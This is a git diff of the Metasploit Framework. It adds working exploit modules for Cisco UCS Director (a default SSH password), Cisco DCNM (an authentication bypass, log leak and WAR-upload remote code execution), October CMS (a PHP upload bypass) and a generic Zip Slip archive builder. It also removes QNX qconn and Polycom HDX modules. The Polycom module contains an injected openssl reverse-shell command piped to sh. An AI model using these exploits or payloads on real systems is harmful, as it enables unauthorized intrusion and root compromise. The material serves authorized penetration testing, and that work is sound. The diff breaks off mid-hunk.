b/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb new file mode 100644 index 0000000000..8dde87e702 --- /dev/null +++ b/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb @@ -0,0 +1,139 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'net/ssh' +require 'net/ssh/command_stream' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::SSH + + def initialize(info={}) + super(update_info(info, + 'Name' => "Cisco UCS Director default scpuser password", + 'Description' => %q{ + This module abuses a known default password on Cisco UCS Director. The 'scpuser' + has the password of 'scpuser', and allows an attacker to login to the virtual appliance + via SSH. + This module has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0. + Note that Cisco also mentions in their advisory that their IMC Supervisor and + UCS Director Express are also affected by these vulnerabilities, but this module + was not tested with those products. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'References' => + [ + [ 'CVE', '2019-1935' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ], + [ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find' + } + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + [ 'Cisco UCS Director < 6.7.2.0', {} ], + ], + 'Privileged' => false, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 21 2019' + )) + + register_options( + [ + Opt::RPORT(22), + OptString.new('USERNAME', [true, "Username to login with", 'scpuser']), + OptString.new('PASSWORD', [true, "Password to login with", 'scpuser']), + ], self.class + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + end + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + def do_login(user, pass) + factory = ssh_socket_factory + opts = { + :auth_methods => ['password', 'keyboard-interactive'], + :port => rport, + :use_agent => false, + :config => false, + :password => pass, + :proxy => factory, + :non_interactive => true, + :verify_host_key => :never + } + + opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + + begin + ssh = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh = Net::SSH.start(rhost, user, opts) + end + rescue Rex::ConnectionError + return + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" + return + rescue ::Timeout::Error + print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" + return + rescue Net::SSH::AuthenticationFailed + print_error "#{rhost}:#{rport} SSH - Failed authentication" + rescue Net::SSH::Exception => e + print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" + return + end + + if ssh + conn = Net::SSH::CommandStream.new(ssh) + ssh = nil + return conn + end + + return nil + end + + def exploit + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...") + conn = do_login(user, pass) + if conn + print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})") + handler(conn.lsock) + end + end +end diff --git a/modules/exploits/multi/fileformat/zip_slip.rb b/modules/exploits/multi/fileformat/zip_slip.rb new file mode 100644 index 0000000000..c8aa354b5d --- /dev/null +++ b/modules/exploits/multi/fileformat/zip_slip.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "Generic Zip Slip Traversal Vulnerability", + 'Description' => %q{ + This is a generic arbitrary file overwrite technique, which typically results in remote + command execution. This targets a simple yet widespread vulnerability that has been + seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc. + The idea is that often archive extraction libraries have no mitigations against + directory traversal attacks. If an application uses it, there is a risk when opening an + archive that is maliciously modified, and result in the embedded payload to be written + to an arbitrary location (such as a web root), and result in remote code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Snyk', # Technique discovery + 'sinn3r' # Metasploit + ], + 'References' => + [ + ['URL', 'https://snyk.io/research/zip-slip-vulnerability'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => true + }, + 'Platform' => ['linux', 'win', 'unix'], + 'Targets' => + [ + ['Manually determined', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jun 05 2018" + )) + + register_options([ + OptString.new('FILENAME', [true, 'The tar file (tar)', 'msf.tar']), + OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin']) + ]) + end + + class ZipSlipArchive + attr_reader :data + attr_reader :fname + attr_reader :payload + + def initialize(n, p) + @fname = n + @payload = p + @data = make + end + + def make + data = '' + path = Rex::FileUtils.normalize_unix_path(fname) + tar = StringIO.new + Rex::Tar::Writer.new(tar) do |t| + t.add_file(path, 0777) do |f| + f.write(payload) + end + end + tar.seek(0) + data = tar.read + tar.close + data + end + end + + def make_tar(target_payload_path) + elf = generate_payload_exe(code: payload.encoded) + archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe) + archive.make + end + + def exploit + target_payload_path = datastore['TARGETPAYLOADPATH'] + unless target_payload_path.match(/\.\.\//) + print_error('Please set a traversal path') + return + end + + tar = make_tar(target_payload_path) + file_create(tar) + print_status('When extracted, the payload is expected to extract to:') + print_status(target_payload_path) + end +end + +=begin +A quick test: + +$ python +>>> import tarfile +>>> t = tarfile.open('test.tar') +>>> t.extractall() +>>> exit() + +=end diff --git a/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb b/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb new file mode 100644 index 0000000000..3efdbf3080 --- /dev/null +++ b/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb @@ -0,0 +1,280 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution', + 'Description' => %q{ + DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. + An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps + directory and achieve remote code execution as root. + This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on + versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct + directory for the WAR file upload. + This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should + work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit + (see References to understand why). + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2019-1619' ], # auth bypass + [ 'CVE', '2019-1620' ], # file upload + [ 'CVE', '2019-1622' ], # log download + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ], + [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ] + ], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'Cisco DCNM 11.1(1)', {} + ], + [ + 'Cisco DCNM 11.0(1)', {} + ], + [ + 'Cisco DCNM 10.4(2)', {} + ] + ], + 'Privileged' => true, + 'DefaultOptions' => { 'WfsDelay' => 10 }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 26 2019' + )) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Connect with TLS', true]), + OptString.new('TARGETURI', [true, "Default server path", '/']), + OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']), + OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']), + ]) + end + + def check + # at the moment this is the best way to detect + # check if pmreport and fileUpload servlets return a 500 error with no params + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), + 'vars_get' => + { + 'token' => rand_text_alpha(5..20) + }, + 'method' => 'GET' + ) + if res && res.code == 500 + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), + 'method' => 'GET', + ) + if res && res.code == 500 + return CheckCode::Detected + end + end + + CheckCode::Unknown + end + + def target_select + if target != targets[0] + return target + else + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'), + 'method' => 'GET' + ) + if res && res.code == 200 + if res.body.include?('version":"11.1(1)') + print_good("#{peer} - Detected DCNM 11.1(1)") + print_status("#{peer} - No authentication required, ready to exploit!") + return targets[1] + elsif res.body.include?('version":"11.0(1)') + print_good("#{peer} - Detected DCNM 11.0(1)") + print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit") + return targets[2] + elsif res.body.include?('version":"10.4(2)') + print_good("#{peer} - Detected DCNM 10.4(2)") + print_status("#{peer} - No authentication required, ready to exploit!") + return targets[3] + else + print_error("#{peer} - Failed to detect target version.") + print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!") + print_error(res.body) + print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass") + return targets[3] + end + end + fail_with(Failure::NoTarget, "#{peer} - Failed to determine target") + end + end + + def auth_v11 + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm/'), + 'method' => 'GET', + 'vars_get' => + { + 'userName' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }, + ) + + if res && res.code == 200 + # get the JSESSIONID cookie + if res.get_cookies + res.get_cookies.split(';').each do |cok| + if cok.include?("JSESSIONID") + return cok + end + end + end + end + end + + def auth_v10 + # step 1: get a JSESSIONID cookie and the server Date header + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm/'), + 'method' => 'GET' + ) + + # step 2: convert the Date header and create the auth hash + if res && res.headers['Date'] + jsession = res.get_cookies.split(';')[0] + date = Time.httpdate(res.headers['Date']) + server_date = date.strftime("%s").to_i * 1000 + print_good("#{peer} - Got sysTime value #{server_date.to_s}") + + # auth hash format: + # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF + session_id = rand(1000..50000).to_s + md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s + + "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" + md5_str = Base64.strict_encode64(md5) + + # step 3: authenticate our cookie as admin + # token format: sessionId.sysTime.md5_str.username + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), + 'cookie' => jsession, + 'vars_get' => + { + 'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin" + }, + 'method' => 'GET' + ) + + if res && res.code == 500 + return jsession + end + end + end + + # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log + def get_war_path + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'), + 'method' => 'GET' + ) + + if res && res.code == 200 + tmp = Tempfile.new + # we have to drop this into a file first + # else we will get a Zip::GPFBit3Error if we use an InputStream + File.binwrite(tmp, res.body) + Zip::File.open(tmp) do |zis| + zis.each do |entry| + if entry.name =~ /jboss[0-9]*\.log/ + fdata = zis.read(entry) + if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/] + tmp.close + tmp.unlink + return $1.strip + end + end + end + end + end + end + + + def exploit + target = target_select + + if target == targets[2] + jsession = auth_v11 + elsif target == targets[3] + jsession = auth_v10 + end + + # targets[1] DCNM 11.1(1) doesn't need auth! + if jsession.nil? && target != targets[1] + fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie") + elsif target != targets[1] + print_good("#{peer} - Successfully authenticated our JSESSIONID cookie") + end + + war_path = get_war_path + if war_path.nil? or war_path.empty? + fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs") + else + print_good("#{peer} - Obtain WAR path from logs: #{war_path}") + end + + # Generate our payload... and upload it + app_base = rand_text_alphanumeric(6..16) + war_payload = payload.encoded_war({ :app_name => app_base }).to_s + + fname = app_base + '.war' + post_data = Rex::MIME::Message.new + post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"") + post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"") + post_data.add_part(war_payload, + "application/octet-stream", 'binary', + "form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"") + data = post_data.to_s + + print_status("#{peer} - Uploading payload...") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), + 'method' => 'POST', + 'data' => data, + 'cookie' => jsession, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + ) + + if res && res.code == 200 && res.body[/#{fname}/] + print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...") + + sleep 10 + + print_status("#{peer} - Executing payload...") + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, app_base), + 'method' => 'GET' + ) + else + fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file") + end + end +end diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb new file mode 100644 index 0000000000..6adb4c1fe5 --- /dev/null +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'October CMS Upload Protection Bypass Code Execution', + 'Description' => %q{ + This module exploits an Authenticated user with permission to upload and manage media contents can + upload various files on the server. Application prevents the user from + uploading PHP code by checking the file extension. It uses black-list based + approach, as seen in octobercms/vendor/october/rain/src/Filesystem/ + Definitions.php:blockedExtensions(). + This module was tested on October CMS version v1.0.412 on Ubuntu. + }, + 'Author' => + [ + 'Anti Räis', # Discovery + 'Touhid M.Shaikh ', # Metasploit Module + 'SecureLayer7.net' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['EDB','41936'], + ['URL','https://bitflipper.eu/finding/2017/04/october-cms-v10412-several-issues.html'], + ['CVE','2017-1000119'] + ], + 'DefaultOptions' => + { + 'SSL' => false, + 'PAYLOAD' => 'php/meterpreter/reverse_tcp', + 'ENCODER' => 'php/base64', + }, + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'October CMS v1.0.412', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 25 2017')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base October CMS directory path", '/']), + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin']) + ]) + end + + def uri + return target_uri.path + end + + def check + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'modules', 'system', 'assets', 'js', 'framework.js') + }) + rescue + vprint_error('Unable to access the /assets/js/framework.js file') + return CheckCode::Unknown + end + + if res && res.code == 200 + return Exploit::CheckCode::Appears + end + + return CheckCode::Safe + end + + def login + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'), + 'method' => 'GET' + }) + + if res.nil? + fail_with(Failure::Unreachable, "#{peer} - Connection failed") + end + + /name="_session_key" type="hidden" value="(?[A-Za-z0-9"]+)">/ =~ res.body + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine Session Key") if session.nil? + + /name="_token" type="hidden" value="(?[A-Za-z0-9"]+)">/ =~ res.body + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine token") if token.nil? + vprint_good("Token for login : #{token}") + vprint_good("Session Key for login : #{session}") + + cookies = res.get_cookies + vprint_status('Trying to Login ......') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'), + 'cookie' => cookies, + 'vars_post' => Hash[{ + '_session_key' => session, + '_token' => token, + 'postback' => '1', + 'login' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }.to_a.shuffle] + }) + + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? + + # if we redirect. then we assume we have authenticated cookie. + if res.code == 302 + print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) + return cookies + else + fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") + end + end + + + def exploit + cookies = login + + evil = "" + payload_name = "#{rand_text_alpha(8..13)}.php5" + + post_data = Rex::MIME::Message.new + post_data.add_part("/", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="path"') + post_data.add_part(evil, content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file_data\"; filename=\"#{payload_name}") #payload + data = post_data.to_s + + register_files_for_cleanup(payload_name) + vprint_status("Trying to upload malicious #{payload_name} file ....") + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'backend', 'cms', 'media'), + 'method' => 'POST', + 'cookie' => cookies, + 'headers' => { 'X-OCTOBER-FILEUPLOAD' => 'MediaManager-manager' }, + 'Connection' => 'close', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + send_request_cgi({ + 'uri' => normalize_uri(uri, 'storage', 'app', 'media', payload_name), + 'method' => 'GET' + }) + end +end diff --git a/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb b/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb index 6100fd4ef7..6fd0b845ef 100644 --- a/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb +++ b/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb @@ -32,6 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2019-12799'], # yes really, assigned per request ['CVE', '2017-18357'], # not really because we bypassed this patch ['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/'] # initial writeup w/ limited exploitation ], diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb deleted file mode 100644 index 3df5b8df27..0000000000 --- a/modules/exploits/unix/misc/qnx_qconn_exec.rb +++ /dev/null @@ -1,166 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::Tcp - include Msf::Module::Deprecated - - deprecated(Date.new(2018, 10, 17), 'exploit/qnx/qconn/qconn_exec') - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'QNX qconn Command Execution', - 'Description' => %q{ - This module uses the qconn daemon on QNX systems to gain a shell. - - The QNX qconn daemon does not require authentication and allows - remote users to execute arbitrary operating system commands. - - This module has been tested successfully on QNX Neutrino 6.5.0 (x86) - and 6.5.0 SP1 (x86). - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'David Odell', # Discovery - 'Mor!p3r', # PoC - 'bcoles' # Metasploit - ], - 'References' => - [ - ['EDB', '21520'], - ['URL', 'https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos'], - ['URL', 'http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html'], - ['URL', 'http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html'] - ], - 'Payload' => - { - 'BadChars' => '', - 'DisableNops' => true, - 'Compat' => - { - 'PayloadType' => 'cmd_interact', - 'ConnectionType' => 'find' - } - }, - 'DefaultOptions' => - { - 'WfsDelay' => 10, - 'PAYLOAD' => 'cmd/unix/interact' - }, - 'Platform' => 'unix', # QNX Neutrino - 'Arch' => ARCH_CMD, - 'Targets' => [['Automatic', {}]], - 'Privileged' => false, - 'DisclosureDate' => 'Sep 4 2012', - 'DefaultTarget' => 0)) - register_options( - [ - Opt::RPORT(8000), - OptString.new('SHELL', [true, 'Path to system shell', '/bin/sh']) - ]) - end - - def check - vprint_status 'Sending check...' - - connect - res = sock.get_once(-1, 10) - - unless res - vprint_error 'Connection failed' - return CheckCode::Unknown - end - - unless res.include? 'QCONN' - return CheckCode::Safe - end - - sock.put "service launcher\n" - res = sock.get_once(-1, 10) - - if res.nil? || !res.include?('OK') - return CheckCode::Safe - end - - fingerprint = Rex::Text.rand_text_alphanumeric rand(5..10) - sock.put "start/flags run /bin/echo /bin/echo #{fingerprint}\n" - - if res.nil? || !res.include?('OK') - return CheckCode::Safe - end - - Rex.sleep 1 - - res = sock.get_once(-1, 10) - - if res.nil? || !res.include?(fingerprint) - return CheckCode::Safe - end - - disconnect - - CheckCode::Vulnerable - end - - def exploit - unless check == CheckCode::Vulnerable - fail_with Failure::NotVulnerable, 'Target is not vulnerable' - end - - connect - res = sock.get_once(-1, 10) - - unless res - fail_with Failure::Unreachable, 'Connection failed' - end - - unless res.include? 'QCONN' - fail_with Failure::UnexpectedReply, 'Unexpected reply' - end - - sock.put "service launcher\n" - res = sock.get_once(-1, 10) - - if res.nil? || !res.include?('OK') - fail_with Failure::UnexpectedReply, 'Unexpected reply' - end - - print_status 'Sending payload...' - sock.put "start/flags run #{datastore['SHELL']} -\n" - - Rex.sleep 1 - - unless negotiate_shell sock - fail_with Failure::UnexpectedReply, 'Unexpected reply' - end - - print_good 'Payload sent successfully' - - handler - end - - def negotiate_shell(sock) - Timeout.timeout(15) do - while true - data = sock.get_once(-1, 10) - - if !data || data.length.zero? - return nil - end - - if data.include?('#') || data.include?('No controlling tty') - return true - end - - Rex.sleep 0.5 - end - end - rescue ::Timeout::Error - return nil - end -end diff --git a/modules/exploits/unix/polycom_hdx_auth_bypass.rb b/modules/exploits/unix/polycom_hdx_auth_bypass.rb deleted file mode 100644 index 20be3ab449..0000000000 --- a/modules/exploits/unix/polycom_hdx_auth_bypass.rb +++ /dev/null @@ -1,249 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Remote - Rank = NormalRanking - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Report - include Msf::Module::Deprecated - - deprecated(Date.new(2018, 11, 04), 'exploit/unix/misc/polycom_hdx_auth_bypass') - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Polycom Command Shell Authorization Bypass', - 'Alias' => 'polycom_hdx_auth_bypass', - 'Author' => - [ - 'Paul Haas ', # module - 'h00die ', # submission/cleanup - ], - 'DisclosureDate' => 'Jan 18 2013', - 'Description' => %q( - The login component of the Polycom Command Shell on Polycom HDX - video endpoints, running software versions 3.0.5 and earlier, - is vulnerable to an authorization bypass when simultaneous - connections are made to the service, allowing remote network - attackers to gain access to a sandboxed telnet prompt without - authentication. Versions prior to 3.0.4 contain OS command - injection in the ping command which can be used to execute - arbitrary commands as root. - ), - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ], - [ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ], - [ 'EDB', '24494'] - ], - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Privileged' => true, - 'Targets' => [ [ "Universal", {} ] ], - 'Payload' => - { - 'Space' => 8000, - 'DisableNops' => true, - 'Compat' => { 'PayloadType' => 'cmd' } - }, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, - 'DefaultTarget' => 0 - ) - ) - - register_options( - [ - Opt::RHOST(), - Opt::RPORT(23), - OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]), - OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ]) - ], self.class - ) - register_advanced_options( - [ - OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]), - OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100]) - ], self.class - ) - end - - def check - connect - sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n") - Rex.sleep(1) - res = sock.get_once - disconnect - - if !res && !res.empty? - return Exploit::CheckCode::Safe - end - - if res =~ /Welcome to ViewStation/ - return Exploit::CheckCode::Appears - end - - Exploit::CheckCode::Safe - end - - def exploit - # Keep track of results (successful connections) - results = [] - - # Random string for password - password = Rex::Text.rand_text_alpha(rand(5) + 1) - - # Threaded login checker - max_threads = datastore['THREADS'] - cur_threads = [] - - # Try up to 100 times just to be sure - queue = [*(1..datastore['MAX_CONNECTIONS'])] - - print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ") - until queue.empty? - while cur_threads.length < max_threads - - # We can stop if we get a valid login - break unless results.empty? - - # keep track of how many attempts we've made - item = queue.shift - - # We can stop if we reach max tries - break unless item - - t = Thread.new(item) do |count| - sock = connect - sock.put(password + "\n") - res = sock.get_once - - until res.empty? - break unless results.empty? - - # Post-login Polycom banner means success - if res =~ /Polycom/ - results << sock - break - # bind error indicates bypass is working - elsif res =~ /bind/ - sock.put(password + "\n") - # Login error means we need to disconnect - elsif res =~ /failed/ - break - # To many connections means we need to disconnect - elsif res =~ /Error/ - break - end - res = sock.get_once - end - end - - cur_threads << t - end - - # We can stop if we get a valid login - break unless results.empty? - - # Add to a list of dead threads if we're finished - cur_threads.each_index do |ti| - t = cur_threads[ti] - unless t.alive? - cur_threads[ti] = nil - end - end - - # Remove any dead threads from the set - cur_threads.delete(nil) - - Rex.sleep(0.25) - end - - # Clean up any remaining threads - cur_threads.each { |sock| sock.kill } - - if !results.empty? - print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw") - do_payload(results[0]) - else - print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable") - end - end - - def do_payload(sock) - # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise - cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) - - # Start a listener - start_listener(true) - - # Figure out the port we picked - cbport = self.service.getsockname[2] - - # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128 - cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n" - sock.put(cmd) - - # Give time for our command to be queued and executed - 1.upto(5) do - Rex.sleep(1) - break if session_created? - end - end - - def stage_final_payload(cli) - print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") - cli.put(payload.encoded + "\n") - end - - def start_listener(ssl = false) - comm = datastore['ListenerComm'] - if comm == 'local' - comm = ::Rex::Socket::Comm::Local - else - comm = nil - end - - self.service = Rex::Socket::TcpServer.create( - 'LocalPort' => datastore['CBPORT'], - 'SSL' => ssl, - 'SSLCert' => datastore['SSLCert'], - 'Comm' => comm, - 'Context' => - { - 'Msf' => framework, - 'MsfExploit' => self - } - ) - - self.service.on_client_connect_proc = proc { |client| - stage_final_payload(client) - } - - # Start the listening service - self.service.start - end - - # Shut down any running services - def cleanup - super - if self.service - print_status("Shutting down payload stager listener...") - begin - self.service.deref if self.service.is_a?(Rex::Service) - if self.service.is_a?(Rex::Socket) - self.service.close - self.service.stop - end - self.service = nil - rescue ::Exception - end - end - end - - # Accessor for our TCP payload stager - attr_accessor :service -end diff --git a/modules/exploits/windows/local/bypassuac_eventvwr.rb b/modules/exploits/windows/local/bypassuac_eventvwr.rb index 296eccfe33..1b3d804c75 100644 --- a/modules/exploits/windows/local/bypassuac_eventvwr.rb +++ b/modules/exploits/windows/local/bypassuac_eventvwr.rb @@ -52,12 +52,11 @@ class MetasploitModule < Msf::Exploit::Local [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, - 'References' => [ + 'References' => [ - 'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/', - 'URL', 